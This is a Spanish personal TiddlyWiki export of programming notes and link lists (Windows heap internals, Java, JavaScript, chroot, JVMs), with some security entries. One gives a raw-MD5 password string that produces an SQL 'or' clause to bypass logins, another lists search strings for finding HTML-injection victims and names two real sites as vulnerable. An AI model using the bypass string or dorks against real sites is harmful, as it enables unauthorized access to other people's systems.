aqui y ademas ha programado drivers para versiones antiguas de Windows, seguramente recuerde las estructuras del kernel conocidas como zonas. Una zona es, simplificando mucho, un heap en el que las reservas son de un tamaño fijo establecido en el momento de creacion de la zona. Bien, basicamente el low fragmentation heap redondea el tamaño de la peticion de reserva conforme a la granularidad que le toca y seguidamente lleva a cabo la reserva en una zona. Al definir zonas de memoria especificas para los diferentes tamaños de reserva intenta minimizar la fragmentacion aunque aumenta la cantida de memoria que necesita para las esturcturas de control. La granularidad variable permite minimizar el numero de tamaños de reserva minimizando asi el numero de zonas que es necesario gestionar. El ultimo punto clave que diferencia el low fragmentation heap es la gestion de la sincronia. El Look Aside List allocator basa su sincronia en las listas enlazadas que hemos comentado, que son una estructura de datos de uso general. El back end allocator basa su sincronia en un objeto de sincronia estandar, una seccion critica. En cambio, el low fragmentation heap implementa internamente su propia sincronia , no apoyandose en objetos proporcionados por el sistema operativo o en estructuras de datos genericas. Uno de los objetivos de esta implementacion es el poder saber si el hilo que lleva a cabo la reserva esta viendose obligado a esperar por otro hilo que esta llevando a cabo otra rerseva del mismo tamaño. Cuando un hilo se ve obligado a esperar por primera vez, entonces el low fragmentation heap generara una zona auxiliar para uso exclusivo de este hilo, evitando que en el futuro se vuelva a tener que esperar. Al disponer de una granularidad variable las posibilidades de colision aumentan pero disminuyen la cantidad de estructuras que potencialmente se podrian llegar a duplicar.

Uniendo todos los aspectos expuestos sobre el low fragmentation allocator, podemos ver que pretende minimizar la perdida de rendimiento debido a la serializacion en entornos multithread, y lo hace detectando las situaciones de colision y solucionandolas mediante estructuras auxilieras. Al mismo tiempo intenta minimizar la fragmentacion mediante el uso de zonas.

El low fragmentation heap plantea cosas interesantes pero es dificil saber a priori cual es el front end allocator adecuado para una aplicacion dada. En la practica los desarrolladores deberan probar los diferentes allocators para sus aplicaciones con el fin de averiguar cual es el que le proporciona mejores resultados. Una de las ventajas que he visto empiricamente es que este allocator suele comportarse mejor con aplicaciones cuyo uso de memoria es bastante determinista. Cuano el uso de memoria es herratico, entonces no parece haber una diferencia apreciable entre ninguno de los dos front end heaps. El low fragmentation heap hace mas visibles los bugs, pero tambien mas dificiles de analizar debido a que su funcionamiento es menos determinista. Por otro lado actualmente no existen (o al menos yo no las conozco) pruebas de concepto que exploten overlows u otro tipo de erroresen low fragmentation heaps. Claro que esta situacion se me antoja efimera, puesto que no he visto mayor problema en hacerlo.

Y aqui pongo el punto y final a esta pequeña introduccion al heap de windows. He intentando centrarme ligeramente en el punto de vista del programador. Pero si hay interes en el futurto puedo explicar algunos aspectos con mayor detalle o desde otros puntos de vista.

//Por: inocraM | 03/14/10 //
!!Titulo ^^[[<editar>|$1]]^^
Cualquier página que use el hash MD5 para comprobar el login puede ser susceptible a este ataque. Es tan sencillo como utilizar {{{129581926211651571912466741651878684928}}} como contraseña. Esta cadena produce el siguiente MD5: {{{?T0D??o#??'or'8.N=?}}}. Al ser integrado sin mas en una consulta SQL, devolverá el valor TRUE.

//[[Fuente|http://cvk.posterous.com/sql-injection-with-raw-md5-hashes?]]//
! Introducción
La inyección HTML consiste en introducir HTML foráneo en una página y conseguir que el navegador lo renderice como si fuera parte de la misma.

Se cataloga dentro de la familia [[Cross Site Scripting|XSS]] debido a que permite introducir datos de una web dentro de otra.

! Buscar víctimas
Es muy fácil con un buscador como google. Tan sólo hay que buscar alguna cadena como las siguientes:
{{{
page.php?url=http://
url=http://
asp?url=http
do?url=http
jsp?url=http
}}}

! Referencias
* ''Páginas vulnerables:''
** http://www.flashchild.com/all-games/page.php?url=http%3A%2F%2Fgoogle.es
** http://www.all-media.info/external-page.php?url=http://google.es
! Introducción

! Referecias
!! Introducción
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL
* Artículo de Security art work: http://www.securityartwork.es/2010/03/01/owasp-top-10-inyeccion/

!! Detección de vulnerabilidades SQL Injection
* Manual de OWASP: https://owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29

!! Misc
* http://www.imperva.com/resources/adc/blind_sql_server_injection.html
* http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* http://www.kachakil.com/papers/SFX-SQLi-en.htm
* http://labs.portcullis.co.uk/tag/whitepaper/
* http://www.ngssoftware.com/papers/advanced_sql_injection.pdf
* http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
* https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf

* http://packetstormsecurity.org/papers/bypass/Blind_XPath_Injection_20040518.pdf

* http://www.securitybydefault.com/2010/04/mysql-tabuladores-verticales-y-otros.html
* http://websec.wordpress.com/2010/03/19/exploiting-hard-filtered-sql-injections/

* http://elladodelmal.blogspot.com/2007/11/tcnicas-avanzadas-en-blind-sql.html
* http://elladodelmal.blogspot.com/2008/02/arithmetic-blind-sql-injection.html
* http://elladodelmal.blogspot.com/2009/07/arithmetic-blind-sql-injection-i-de-ii.html
* http://elladodelmal.blogspot.com/2009/02/rfd-remote-file-downloading-en.html
* http://elladodelmal.blogspot.com/2009/01/mi-primera-comilla.html
* http://elladodelmal.blogspot.com/2008/01/time-based-blind-sql-injection-using.html
* http://elladodelmal.blogspot.com/2007/07/proteccin-contra-las-tcnicas-de-blind.html
* http://elladodelmal.blogspot.com/2009/09/inverted-sql-queries-i-de-ii.html

* http://cvk.posterous.com/sql-injection-with-raw-md5-hashes?

* http://www.pentester.es/2010/12/sql-injection-hasta-la-cocina-ms-sql.html

* http://www.webappsec.org/projects/articles/091007.shtml
!Descripción
<part descripcion>
Implementación de Python para .Net
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artíuculo de la Wikipedia: http://es.wikipedia.org/wiki/IronPython
** Página oficial: http://www.codeplex.com/wikipage?ProjectName=IronPython
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Información sobre Java Enterprise: Servlets, JSPs, servicios web, etc.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Página principal de J2EE: http://java.sun.com/javaee/

* ''Tutoriales:''
** Tutorial de JPA: http://davidmarco.es/blog/entrada.php?id=144
** JSTL primer (parte 1, EL): http://www.ibm.com/developerworks/java/library/j-jstl0211.html
** Guía de empaquetado de aplicaciones EJB: http://download.oracle.com/docs/cd/B31017_01/web.1013/b28221/undejdev003.htm
** Consejos de BEA para desarrolladores: http://edocs.bea.com/wls/docs61/programming/index.html
** Cómo definir páginas de error: http://scriptlandia.blogspot.com/2006/06/how-to-handle-jsp-error-page.html
** Manipulación de strings dentro de EL: http://www.squarebits.com/?p=21

* ''Libros:''
** The JavaServer Faces Jumpstarter: http://www.wakaleo.com/books/jsf-jumpstarter-book
** Arquitectura Java Sólida: http://www.arquitecturajava.com/el-libro/

* ''Cursos:''
** Curso online J2EE 6 en una semana: http://www.javapassion.com/javaee6/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Obtener un {{{context-param}}} del {{{web.xml}}}^^[[<editar>|$1]]^^
Para obtener una propiedad definida en el {{{web.xml}}} en una sección {{{context-param}}} se puede hacer de la siguiente manera:
<code java>
String param = request.getSession().getServletContext().getInitParameter("param-name");
</code>
!!Configurar directorio externo en Tomcat ^^[[<editar>|$1]]^^
El servidor de aplicaciones [[Tomcat]] dispone de una carpeta por defecto donde se almacenan las aplicaciones desplegadas. Además de ese directorio por defecto, se pueden configurar otros directorios externos en el {{{server.xml}}}, como el del ejemplo siguiente:
<code xml>
<Context
   path="/tercerosComponent"
   docBase="C:\\ruta\\a\\los\\documentos"
   crossContext="true"
   debug="0"
   reloadable="true"
   trusted="false"
>
    <ResourceLink global="jdbc/nombre_jdbc" name="jdbc/nombre_jdbc" type="javax.sql.DataSource"/>
</code>
!!ExpressionLanguage en OAS ^^[[<editar>|$1]]^^
Muchas configuraciones de Oracle Application Server tienen desactivado por defecto el uso de ExpressionLanguaje (EL) y hay que activarlo explicitamente en los ~JSPs que lo requieran mediante la siguiente directiva:
<code xml>
<%@ page isELIgnored ="false" %>
</code>
!Descripción
<part descripcion>
Información sobre Java para móviles.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Página principal de J2ME: http://java.sun.com/javame/index.jsp

* ''Tutoriales y manuales:''
** Logging mejorado: http://java.sun.com/developer/technicalArticles/javame/javame-logging/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
J2SE es el acrónimo de Java 2 Standard Edition, y hace referencia a la versión estándar de [[Java]], para distinguirla de las versiones para servidor y dispositivos móviles.

//Véase// [[Java]]
JDeveloper es un [[IDE]] creado por Oracle, realizado completamente en Java y orientado al desarrollo de aplicaciones [[Java]], sobre todo [[J2EE]]. Sus puntos fuertes son una muy buena integración con OracleDatabase y con OAS (Oracle Application Server).

//Nota de ErrePunto:// ¡¡Es un puto infiernooooo! Hasta el Norton Antivirus lo reconocía como virus, jeje.

Más información
* http://es.wikipedia.org/wiki/JDeveloper
* http://www.oracle.com/technology/products/jdev/index.html
JEdit es un editor de textos avanzado hecho enteramente en [[Java]]. Permite utilizar [[plugin]]s realizados en el mismo lenguaje.

Mas información:
* http://es.wikipedia.org/wiki/Jedit
* http://www.jedit.org/
<<showtoc>>
!Descripción
<part descripcion>
JNode es un sistema operativo realizado principalmente en Java, menos ciertas partes esenciales realizadas en ensamblador.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: https://secure.wikimedia.org/wikipedia/en/wiki/JNode
* Página principal: http://www.jnode.org/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Introducción
Permite crear un {{{JTextField}}} con campos delimitados por corchetes seleccionables con tabulador. Lo mejor es ver la página original para enterlo correctamente.

!Código fuente
<code java>
import java.awt.Container;
import java.awt.Font;
import java.awt.GridBagConstraints;
import java.awt.GridBagLayout;
import java.awt.Insets;
import java.awt.KeyboardFocusManager;
import java.awt.event.FocusAdapter;
import java.awt.event.FocusEvent;
import java.awt.event.KeyAdapter;
import java.awt.event.KeyEvent;

import javax.swing.JComponent;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JTextField;
import javax.swing.UIManager;

public class TabStopTextField extends JTextField {

    public TabStopTextField() {
        setFocusTraversalKeysEnabled(false);
        addKeyListener(new KeyAdapter() {
            public void keyTyped(KeyEvent e) {
                if(e.getKeyChar() == '\t') {
                    nextStop(getSelectionEnd(), true);
                }
            }
        });

        addFocusListener(new FocusAdapter() {
            public void focusGained(FocusEvent e) {
                nextStop(0, false);
            }
        });
    }

    private void nextStop(int pos, boolean changeFocus) {
        boolean next = false;
        int start = getText().indexOf('[', pos);
        int end = 0;
        if(start < 0)
            next = true;
        else {
            end = getText().indexOf(']', start);
            if(end < 0)
                next = true;
        }
        if(next) {
            if(changeFocus)
                KeyboardFocusManager.getCurrentKeyboardFocusManager().focusNextComponent();
        } else {
            setSelectionStart(start);
            setSelectionEnd(end+1);
        }
    }

    public static void main(String[] args) throws Exception {
        System.setProperty("swing.aatext", "true");
        UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
        JFrame frame = new JFrame("Ejemplo de TabStopTextField");

        JPanel p = new JPanel();
        p.setLayout(new GridBagLayout());
        GridBagConstraints constraints = new GridBagConstraints();
        constraints.gridy = 1;
        constraints.insets = new Insets(5, 5, 5, 5);

        JTextField textField = new JTextField();
        Font f = textField.getFont();
        f = f.deriveFont(18f);
        textField.setFont(f);
        textField.setText("Presiona tabulador varias veces");
        textField.setEditable(false);
        addComponent(constraints, p, "", textField, f);

        createTabStopTextField(constraints, "Conexión Jdbc",
                "jdbc:mysql://[host]/[database]?user=[user]&pass=[password]", f, p);

        createTabStopTextField(constraints, "HTML input",
                "<input type='[type]' value='[value]' id='[id]' />", f, p);

        createTabStopTextField(constraints, "Nombre fichero",
                "/home/[usuario]/[nombre].tar.gz", f, p);

        createTabStopTextField(constraints, "Conexión SVN",
                "https://[usuario]@[dominio]/svnroot/repos/[proyecto]/trunk", f, p);

        frame.getContentPane().add(p);
        frame.pack();
        frame.setLocationRelativeTo(null);
        frame.setVisible(true);
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    }

    private static void createTabStopTextField(GridBagConstraints constraints,
            String label, String text, Font f, Container c) {
        TabStopTextField tabStopTextField = new TabStopTextField();
        tabStopTextField.setText(text);
        tabStopTextField.setFont(f);
        addComponent(constraints, c, label, tabStopTextField, f);
    }

    private static void addComponent(GridBagConstraints constraints,
            Container c, String label, JComponent component, Font f) {
        constraints.fill = GridBagConstraints.NONE;
        constraints.anchor = GridBagConstraints.LINE_END;
        constraints.gridx = 1;
        JLabel lbl = new JLabel(label);
        lbl.setFont(f.deriveFont(14f));
        c.add(lbl, constraints);

        constraints.fill = GridBagConstraints.BOTH;
        constraints.gridx = 2;
        c.add(component, constraints);
        constraints.gridy++;
    }
}
</code>

!Referencia
http://debugmodeon.com/item/127885/jtextfield-editable-por-fragmentos
<<showtoc>>
! Descripción
<part descripcion>
Información sobre la "Java Virtual Machine" (Máquina Virtual Java) y todos los lenguajes que soporta.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/M%C3%A1quina_virtual_Java
* Descargas: http://java.com/es/download/manual.jsp
* Listado de lenguajes soportados por JVM: http://en.wikipedia.org/wiki/List_of_JVM_languages
* Listado más conciso de lenguajes: http://en.wikipedia.org/wiki/Category:JVM_programming_languages

!! Máquinas virtuales
!!! Listado
* Listado de JVMs: https://secure.wikimedia.org/wikipedia/en/wiki/List_of_Java_virtual_machines

!!! SUN/Oracle
* Hotspot (JVM): https://secure.wikimedia.org/wikipedia/en/wiki/HotSpot
* KVM (par dispositivos empotrados): https://secure.wikimedia.org/wikipedia/en/wiki/K_virtual_machine
* Open Java: https://secure.wikimedia.org/wikipedia/en/wiki/OpenJDK

!!! Hechas por terceros
* Apache Harmony: https://secure.wikimedia.org/wikipedia/en/wiki/Apache_Harmony
* GCJ (compilador): https://secure.wikimedia.org/wikipedia/en/wiki/GNU_Compiler_for_Java
* JamVM (JVM ligera): https://secure.wikimedia.org/wikipedia/en/wiki/JamVM
* JRockit: http://www.oracle.com/technetwork/middleware/jrockit/overview/index.html
* Jikes RVM: https://secure.wikimedia.org/wikipedia/en/wiki/Jikes_RVM
* Kaffe: https://secure.wikimedia.org/wikipedia/en/wiki/Kaffe
* Excelsior JET: https://secure.wikimedia.org/wikipedia/en/wiki/Excelsior_JET
* IKVM (JVM hecha en .Net): https://secure.wikimedia.org/wikipedia/en/wiki/IKVM.NET
* IBM J9: https://secure.wikimedia.org/wikipedia/en/wiki/IBM_J9
* CACAO (compilador): http://www.cacaovm.org/

!!! Otros
* GNU Classpath (librerías comunes parava java): https://secure.wikimedia.org/wikipedia/en/wiki/GNU_Classpath
* Terracotta (cluster de JVMs): https://secure.wikimedia.org/wikipedia/en/wiki/Terracotta_Cluster

</part>
/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
JX es un sistema operativo con un kernel y aplicaciones realizados enteramente en [[Java]].
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: https://secure.wikimedia.org/wikipedia/en/wiki/JX_%28operating_system%29
* Página principal: http://www4.informatik.uni-erlangen.de/Projects/JX/index.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
Una jaula chroot es una manera de ejecutar linux en un entorno distinto al que ha arrancado el kernel. Se suele utilizar para incrementar la seguridad de servidores, creando un entorno seguro con las herramientas mínimas para el servidor, o para restaurar un sistema dañado desde uno que esté operativo.

! Script
En el siguiente código sólo habría uqe modificar el dispositivo de {{{/dev}}} que se utilice (generalmente {{{/dev/sdb2}}} o {{{/dev/mmcblk0p2}}}) y el punto de montaje.
<code bash>
mount /dev/<dispositivo> /mnt/a
cd /mnt/a
mount -t proc proc proc/
mount -t sysfs sys sys/
mount -o bind /dev dev/
mount -t devpts pts dev/pts/
cp -L /etc/resolv.conf etc/resolv.conf
chroot /mnt/a /bin/bash
</code>

Para salir del entorno chroot hay que ejecutar el comando {{{exit}}}

! Referencias
https://wiki.archlinux.org/index.php/Chroot
<<showtoc>>
! Descripción
<part descripcion>
Lenguaje Java
</part>
! Enlaces
<part enlaces>
!! General
* Página de desarrolladores: http://java.sun.com/javase
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Lenguaje_de_programaci%C3%B3n_Java

!! Documentación
* APIs: http://java.sun.com/javase/reference/api.jsp
* Java Tutorials: http://java.sun.com/docs/books/tutorial/index.html
* I/O mapeada en memoria: http://www.developer.com/java/other/article.php/1548681/Introduction-to-Memory-Mapped-IO-in-Java.htm
* Preguntas infrecuentes: http://norvig.com/java-iaq.html

!! Descargas
* JDK y otras herramientas: http://java.sun.com/javase/downloads/index.jsp

!! Libros
* Books for Java: http://books4java.blogspot.com/
* Java Books: http://www.javabooks.org/
* Continuous Integration with Hudson: http://www.wakaleo.com/books/continuous-integration-with-hudson-the-book
* The Java Language Specification: http://java.sun.com/docs/books/jls/
* Colección Thinking in... (incluido Java): http://www.mindviewinc.com/Books/downloads.html
* The Java Tutorial: http://download.oracle.com/javase/tutorial/
* Core Servlets and Java Server Pages: http://pdf.coreservlets.com/
* Introduction to Programming Using Java: http://math.hws.edu/javanotes/
</part>

! Ejemplos de código
<part codigo>
<<tagging [[CodigoJava]] >>
</part>
/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
Una de las principales novedades de Java 1.5.0 fue la inclusión de tipos genéricos que facilitaban enormemente el trabajo con listas y colecciones, así como automatizaban la inferencia de tipos. Esto, unido al auto(in)boxing (conversión automática entre tipos básicos y clases contenedoras) convierte en sencillas y rápidas de programar algunas de las tareas más tediosas de Java: el tratamiento de colecciones complejas.

! Más información
* Guía oficial de SUN (ahora Oracle :-) ): http://java.sun.com/j2se/1.5.0/docs/guide/language/generics.html
* Artículo del "Java tutorial": http://java.sun.com/docs/books/tutorial/java/generics/index.html
* Artículo de la wikipedia: http://en.wikipedia.org/wiki/Generics_in_Java
* Wikilibro: http://en.wikibooks.org/wiki/Java_Programming/Generics
* Mundogeek: http://mundogeek.net/archivos/2009/03/11/generics-en-java/
* Java Generics FAQs: http://www.angelikalanger.com/GenericsFAQ/JavaGenericsFAQ.html
<<showtoc>>
! Descripción
<part descripcion>
Lenguaje de programación script para la web
</part>
! Enlaces
<part enlaces>
!! General
* Artículo en la Wikipedia: http://es.wikipedia.org/wiki/JavaScript
* El sitio de Douglas Crockford: http://javascript.crockford.com
* Sitio para desarrolladores de Mozilla: https://developer.mozilla.org/en/Web_Development
* ~JavaScript en "A list apart": http://www.alistapart.com/topics/code/scripting/

!! Guías de referencia
* Referencia de javascript de javascriptkit: http://www.javascriptkit.com/jsref/
* Referencia de DOM de javascriptkit: http://www.javascriptkit.com/domref/
* Guía de referencia de Mozilla: https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference
* Guía de referencia de Javascript de W3Schools: http://www.w3schools.com/jsref/default.asp
* JS Reference (MS): http://msdn.microsoft.com/en-us/library

!! Tutoriales y manuales sobre el lenguaje
* Guía del programador de Mozilla: https://developer.mozilla.org/en/Core_JavaScript_1.5_Guide
* Tutoriales de howtocreate: http://www.howtocreate.co.uk/tutorials/javascript/
* JS Guide (Crockford): http://javascript.crockford.com/survey.html
* JS for hackers: http://www.thespanner.co.uk/2007/09/19/javascript-for-hackers
* Debugger JSLint: http://www.jslint.com/lint.html/en/Core_JavaScript_1.5_Reference/yek4tbz0%28VS.85%29.aspx
* Event driven web design: http://yuiblog.com/blog/2007/01/17/event-plan
* Event delegation vs Event handling: http://icant.co.uk/sandbox/eventdelegation/
* Recursos para el aprendizaje: http://nefariousdesigns.co.uk/archive/2007/01/learning-javascript/
* JS orientado a objetos: http://nefariousdesigns.co.uk/archive/2006/05/object-oriented-javascript/
* Tutorial de uso de canvas: http://www.brighthub.com/hubfolio/matthew-casperson/blog/archive/2009/06/29/game-development-with-javascript-and-the-canvas-element.aspx
* Essential JavaScript & jQuery Design Patterns: http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/
* Learning Advanced Javascript: http://ejohn.org/apps/learn/
* Pronfundizando en Javascript, funciones para todo: http://albertovilches.com/profundizando-en-javascript-parte-1-funciones-para-todo
* Profundizando en Javascript, herencia: http://albertovilches.com/profundizando-en-javascript-parte-2-objetos-prototipos-herencia-y-namespaces

!! Tutoriales y manuales sobre librerías
* Libro sobre Node.js: http://developer.yahoo.com/blogs/ydn/posts/2010/11/announcing-a-node-js-book-project/
* Introduccción a Node.js: http://es.debugmodeon.com/articulo/introduccion-a-node-js
* Tutorial rápido de jQuery: http://mundogeek.net/archivos/2010/04/21/tutorial-rapido-de-jquery/

!! Eventos en JavaScript
* Eventos avanzados: http://www.quirksmode.org/js/events_advanced.html

!! Ejemplos y demos
* Ejemplos de uso de Canvas: http://www.canvasdemos.com/
* Chrome Experiments: http://www.chromeexperiments.com/
* HAKIM.SE experiments: http://www.hakim.se/experiments/
* HTML Stack http://www.htmlstack.com/
* 9 Elements: http://9elements.com/io/projects/html5/canvas/

!! Otras herramientas
* JS Beautifier: http://jsbeautifier.org/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!{{{trim()}}} en JavaScript ^^[[<editar>|$1]]^^
JavaScript no dispone de un método {{{trim()}}} para recortar espacios en cadenas de texto, pero se puede emular de forma sencilla mediante expresiones regulares. El siguiente codigo modifica la clase padre de todas las cadenas de texto y le añade 3 nuevas funciones de trimming de texto:
<code javascript>
String.prototype.trim = function() { return this.replace(/^\s+|\s+$/g,'') }
String.prototype.ltrim = function() { return this.replace(/^\s+/,"") }
String.prototype.rtrim = function() { return this.replace(/\s+$/,"") }
</code>
!!Usar log de depuración ^^[[<editar>|$1]]^^
Los navegadores modernos y algunos plugins para navegadores como Firebug, permiten mostrar mensajes de depuración por la consola de JavaScript. Lo siguiente son dos ejemplos:
<code javascript>
console.log("Mensaje sencillo");
console.log("The %s jumped over %d tall buildings", animal, count);
</code>
!Descripción
<part descripcion>
Java Web Start es una tecnología que permite descargar un .jar junto con todas sus dependencias y ejecutarlo en un entorno local. Se apoya en el protocolo JNLP (Java Network Launch Protocol) para el descubrimiento y adquisición de los recursos necesarios.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia de Java Web Start: http://es.wikipedia.org/wiki/Java_Web_Start
** Artículo de la Wikipedia de JNLP: http://es.wikipedia.org/wiki/JNLP

* ''Documentación:''
** Tutorial de uso de Web Start: http://java.sun.com/docs/books/tutorial/deployment/webstart/index.html
** Protocolo JNLP: http://java.sun.com/docs/books/tutorial/deployment/deploymentInDepth/jnlp.html
** Guía de Java Web Start: http://java.sun.com/javase/6/docs/technotes/guides/javaws/developersguide/contents.html
** Configurar el servlet de descarga: http://java.sun.com/j2se/1.5.0/docs/guide/javaws/developersguide/downloadservletguide.html
** Unofficial Java Web Start FAQ: http://lopica.sourceforge.net/faq.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Escribir traza de error en fichero externo^^[[<editar>|$1]]^^
Si queremos escribir la traza de error en un fichero (por ejemplo, en sistemas sin consola para aplicaciones sin logging) puede hacerse así:
<code java>
}catch(Exception ex) {
    try {
        PrintWriter pw = new PrintWriter("c:\\ruta\\a\\archivo.txt");
        ex.printStackTrace(pw);
        pw.close();
    } catch (FileNotFoundException e1) {
        e1.printStackTrace();
    }
}
</code>
!!JAR al que pertenece una clase^^[[<editar>|$1]]^^
Para extraer en que JAR está almacenado una clase cargada en el runtime:
<code java>
<NombreClass>.getProtectionDomain().getCodeSource().getLocation()
</code>
!!Ejemplo de JDBC para Oracle^^[[<editar>|$1]]^^
Ejemplo sencillo para conectar por JDBC a una base de datos Oracle:
<code java>
Class.forName ("oracle.jdbc.driver.OracleDriver");
String url = "jdbc:oracle:thin:@host:1521:SID";
Connection con = DriverManager.getConnection(url, "usuario", "contraseña");
</code>
<<showtoc>>
!Descripción
<part descripcion>
Descripción de la sección
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki
* Todojudo: http://www.todojudo.cl/
* Canal de videos: http://www.youtube.com/playlist?list=PL7DEB6A04548ABC98&feature=plcp
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
Información sobre el lenguaje de script Judo.
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://en.wikipedia.org/wiki/Judoscript
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Desprotección, descifrado, camuflaje y otras perrerías que se le pueden hacer a distintos tipos de ficheros.
</part>
! Enlaces
<part enlaces>
!! Jugando con PDFs
* Artículo de SdB: http://www.securitybydefault.com/2010/04/desproteger-pdf-que-no-permiten-copiar.html

!! Camuflaje de ficheros
* Ocultar extensión usando unicode ([[ejemplo|Ocultar extensiones en windows usando unicode]]): http://www.hispasec.com/unaaldia/4685
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***
|Name|JumpToTopMacro|
|Created by|SaqImtiaz|
|Location|http://tw.lewcid.org/#JumpToTopMacro|
|Version|1.0|
|Requires|~TW2.x|
!Description:
Provides a toolbar command and a macro, that create a button for quickly jumping to the top of your TW.
Handy to place in the tiddler toolbar (edit the ViewTemplate)

Note: You can add an extra toolbar to the bottom of tiddlers as well with buttons of your choice, to allow easy access to the buttons/commands in it.

!Demo:
{{{<<top>>}}}<<top>>

!Installation:
Copy the contents of this tiddler to your TW, tag with systemConfig, save and reload your TW.

!History:
*23-07-06: ver 1.0

!Code
***/
//{{{
config.macros.top={};
config.macros.top.handler=function(place,macroName)
{
               createTiddlyButton(place,"^","jump to top",this.onclick);
}
config.macros.top.onclick=function()
{
               window.scrollTo(0,0);
};

config.commands.top =
{
               text:" ^ ",
               tooltip:"jump to top"
};

config.commands.top.handler = function(event,src,title)
{
               window.scrollTo(0,0);
}
//}}}
!Descripción
<part descripcion>
Python para la JVM
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://en.wikipedia.org/wiki/Jython
** Página principal: http://jython.sourceforge.net/Project/
** Página de Sourceforge: http://sourceforge.net/projects/jython/
* ''Documentación:''
** Guía de usuario: http://jython.sourceforge.net/Project/userguide.html
** FAQ sourceforge: http://jython.sourceforge.net/Project/userfaq.html
** FAQ wiki: http://wiki.python.org/jython/JythonFaq
** Wiki: http://wiki.python.org/jython
** ¿Por qué usar Jython?: http://wiki.python.org/jython/WhyJython
** //"Learning Jython"//: http://wiki.python.org/jython/LearningJython
** //"An introduction to Jython"//: http://www.javalobby.org/articles/jython/
** ~PyDev, un IDE para Jython: http://pydev.sourceforge.net/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Información sobre ~LaTeX y ~TeX en general
</part>
 !Enlaces
<part enlaces>
!! Documentación
* Wikilibro: http://en.wikibooks.org/wiki/LaTeX/Introduction
* Guía de la Inciclopedia (¿?): http://inciclopedia.wikia.com/wiki/Ayuda:TeX_Math
* Fórmulas matemáticas en Rincón Matemático: http://rinconmatematico.com/instructivolatex/formulas.htm
* Símbolos: http://www.artofproblemsolving.com/Wiki/index.php/LaTeX:Symbols
* Operaciones matemáticas: http://www.artofproblemsolving.com/Wiki/index.php/LaTeX:Commands

!! Software
* Editor online: http://writelatex.com/
* LaTeX para windows (proyecto MiKTeX): http://www.miktex.org/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Asuntos relacionados con el ámbito laboral: condiciones de trabajo, como hacer CVs, calendarios, etc.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Como hacerte autónomo: http://www.infoautonomos.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Lagomorfos ^^[[<editar>|$1]]^^
Se dice de los mamíferos semejantes a los roedores, de los que se diferencian por poseer dos pares de incisivos superiores en lugar de uno; p. ej., el conejo y la liebre.
http://buscon.rae.es/draeI/SrvltConsulta?TIPO_BUS=3&LEMA=lagomorfo
<<showtoc>>
!Descripción
<part descripcion>
